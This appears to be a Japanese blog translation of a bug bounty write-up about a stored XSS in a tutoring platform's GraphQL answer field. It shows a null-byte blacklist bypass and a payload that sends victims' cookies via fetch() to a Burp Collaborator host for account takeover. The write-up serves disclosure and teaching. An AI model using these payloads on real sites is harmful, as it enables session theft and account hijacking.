Shikata Ga Nai

Private? There is no such things.

Pwning your assignments: Stored XSS via GraphQL endpointを訳してみた

Hello there, ('ω')ノ

 

GraphQLエンドポイントを介して保存されたXSSを。

 

脆弱性:

 保存されたXSS

 GraphQLのバグ

 

記事:

 https://infosecwriteups.com/pwning-your-assignments-stored-xss-via-graphql-endpoint-6dd36c8a19d5

 

このバグは、クラウドソーシングされたさまざまなプラットフォームで。

パブリック/プライベートプログラムとして4〜5年以上実行されていた。

非常に成熟したバグバウンティプログラムで発見されて。

 

ランダムな大学の友人と話し合していると。

彼は若い学生を助けることによってプラットホームを通して。

お金を稼ぐことについて話をしてくれて。

ただ、彼が話した個別指導機能には直接アクセスできず。

その特定の機能を調べてみると、次のことがわかって。

 

 アカウント登録が必要で。

 主題のテストに合格すると生徒のお手伝いができるので。

 ID証明を政府を提出して。

 確認のために2週間待って。

 

この機能にアクセスするのはかなり難しいと思ったので。

多くの人はおそらくアプリケーションにそれほど深く到達していなかっただろうと。

そこで、コンピュータサイエンスの個別指導に申し込み、テストに合格したので。

現在は、学生の宿題を手伝うオプションがあって。

 

ここで確認することにしたバグの種類は、CSRF、IDOR、XSSで。

CSRFは、すべてのリクエストに多数のチェックが存在するため、すぐに失敗して。

さらにIDORは、UUIDv4が適切に使用されているため、実用的ではなくて。


そこで、XSSを。

質問に答えていると、“,>は許可されていましたが。

script、iframe、alertなどのキーワードは答えからサニタイズされていて。

Web Hacker’s Handbookを調べたところ。

「>」の前に%00(nullバイト)を追加しても。

キーワードがサニタイズされないことがわかったので。

次のペイロードを作成して。

 <iframe %00 src=\"javascript:prompt(1)\"%00>

 

    ブラックリストをバイパスするには、%00
 GraphQL入力フィールド内に二重引用符を渡す、\”

 

上記のペイロードは次のように反映されて。

 

f:id:ThisIsOne:20220317204516p:plain

 

そして、クッキーでプロンプトを受け取って。


f:id:ThisIsOne:20220317204445p:plain

 

攻撃シナリオ/最終的なエクスプロイト:

学生が質問を投げて、インストラクターは。

ブラインドXSSペイロードで答えを提出して。

生徒が答えを確認するとすぐに、彼のCookieがインストラクターに渡されるので。

インストラクターが学生を支援するたびに。

インストラクターは学生のアカウントを引き継ぐことができて。

 

ペイロード:

<iframe %00 src= javascript:fetch(\"//XXXXXXXXXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net/?param=\"+document.cookie)  %00>

 

fetch()を使用すると、XMLHttpRequest(XHR)と同様の。

ネットワークリクエストを作成できて。

/?param=は、ドメインの一部にならないように追加されて。

 

すぐに生徒の質問に答え、ソリューションの最後に上記のペイロードを追加して。

生徒が答えを確認すると生徒のクッキーを取得できて。


f:id:ThisIsOne:20220317204417p:plain

 

Best regards, (^^ゞ